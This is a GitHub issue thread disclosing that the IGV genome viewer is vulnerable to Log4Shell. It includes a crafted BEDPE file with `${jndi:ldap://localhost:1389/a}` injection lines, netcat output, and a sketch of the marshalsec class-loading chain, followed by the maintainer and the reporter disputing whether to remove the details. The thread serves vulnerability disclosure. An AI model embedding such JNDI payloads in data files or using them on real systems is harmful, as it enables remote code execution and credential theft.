IGV is vulnerable to log4jshell via specially crafted BEDPE files and other inputs

[brainstorm]

Hello @igvteam, I got a bit concerned about log4j and went on a small exploration after seeing Jim's comments on several issues:

I don't believe any version of IGV is vulnerable to this, I can't see how, but that's irrelevant as just having the log4j jar in your distribution is a problem for many organizations. We've had a steady stream of emails on this because the log4j.jar was detected in a scan, not because of any actual IGV vulnerability.

Well, I've seen issues #1073 #1068 #1067 and the short arguments you used to close them and I've to say I'm a bit concerned about how you handled this critical CVE, to say the least. On those issues you laid out those two reasons:

(1) we do not log user input,
(2) even to attempt to exploit this vulnerability you would need physical access to the machine IGV is running on as there are no input forms exposed over the web.

Let's put those two statements to the test?

On my local exploiting tests, the LDAP/JNDI lookup happens with a specially crafted BEDPE file like this one (imagine it being much longer so that nobody cares to inspect it before opening it in IGV):

chr1  100   200   chr5  5000  5100  bedpe_example1  30   +  -
chr1  100   200   chr5  5000  5100  bedpe_example1  30   +  -
${jndi:ldap://localhost:1389/a} 100   200   chr5  5000  5100  bedpe_example1  30   +  -
${jndi:ldap://localhost:1389/a} 100   200   chr5  5000  5100  bedpe_example1  30   +  -
${jndi:ldap://localhost:1389/a} 100   200   chr5  5000  5100  bedpe_example1  30   +  -
${jndi:ldap://localhost:1389/a} 100   200   chr5  5000  5100  bedpe_example1  30   +  -
chr1  100   200   chr5  5000  5100  bedpe_example1  30   +  -
chr1  100   200   chr5  5000  5100  bedpe_example1  30   +  -

I've also managed to exploit IGV through the PROPERTIES_URL and I'm fairly confident that other vectors can be found with some more file format sleuthing and step by step debugging on IGV's source code.

But I digress, if a researcher receives the file above in an email or (BioStars?) forum and loads it on their vulnerable pre-log4j-fixing IGV, they'll see the following binary activity on that LDAP port referenced by JNDI:

% nc -l 1389
0
 `�

That connection can be subsequently roped by .class marshalling packages with more malicious code, I hope you see where I'm heading?

In fact, for IGV, loading that BEDPE it looks like this:

INFO [2022-01-05T12:17:04,363]  [BedPEParser.java:100] [pool-3-thread-1]  Skipping line: Reference Class Name: foo

Where does that "Reference Class Name: foo" come from? It comes from a marshalsec library that will eventually load an arbitrary .class that I compiled myself, so if the host were example.com instead of localhost, that poor researcher loading a BEDPE would have a fully compromised machine by now... and depending on the organisation's security posture, a full breach of genomics (patient?) data can be on the cards since S3 AWS bucket credentials can be slurped from the process's memory at this exploit stage.

RCE (Remote Code Execution) class of bugs are still considered "Remote Execution" because they are exploitable over the network, not because they are 0-user-interaction exploitable remotely (which is how I think you are using this term in your writing, wrongly). I see where you are coming from with the second statement you used to close the incoming Log4J issues, but in infosec terms, arbitrary code execution is still a very serious issue:

The ability to trigger arbitrary code execution over a network (especially via a wide-area network such as the Internet) is often referred to as remote code execution (RCE).

Your first point is also debatable when bending definitions, but ultimately false: IGV does log user input (files, urls, etc...) in several exploitable log.info stanzas across multiple functions.

That being said, the IGV versions shipping with Java11 might be a bit trickier to exploit, but older versions that bundled with Java8 and still installed on user's machines around the world?: I am fairly confident that this is an active threat for them and a fairly serious one, to be honest. So at this point I'd advise that you go back to those issues and inform the users accordingly while also making a much needed (wider?) public announcement about this security incident.

I consider this responsible disclosure because the vulnerability has been patched for quite a while now and IGV desktop is not a widely deployed server-like always-reachable software, so that helps a lot. That being said, I hope that this comment:

1. Prompts some announcements to keep people and organizations that have not updated their IGV desktop installations, safe.
2. Improves future security posture of @igvteam. Other examples of security issues previously reported and fixed can be found in Federated Amazon S3 support for IGV desktop, migration towards Java11, Gradle and better release engineering #620 (comment) and others pending some code audit (IMO) like OAuth handling in Federated Amazon S3 support for IGV desktop, migration towards Java11, Gradle and better release engineering #620 (comment). Perhaps GA4GH security team could potentially look into this, @jb-adams?
3. Close Add functionality to get AWS credentials from the Default Credential Provider #865 as it promotes bad security practices.

[jrobinso]

Point taken. I will update those tickets, perhaps without detailed instructions on how to exploit this but I suppose they are out there now.

[jrobinso]

@brainstorm I don't see any reason to keep these instructions for exploitation so publicly available, if you are trying to send me a message consider it sent, but could you edit your post and remove the how-to aspects?

[brainstorm]

@jrobinso I omitted quite a few details on purpose, it's not harmful as-is (doesn't even spawn a calc.exe as many proof of concepts do and there are other details missing). I'd leave it as-is since it can take folks some time to put the rest of the exploit chain together and there's plenty of public information elsewhere for the determined attackers anyway.

I really don't think it serves the public to remove more information.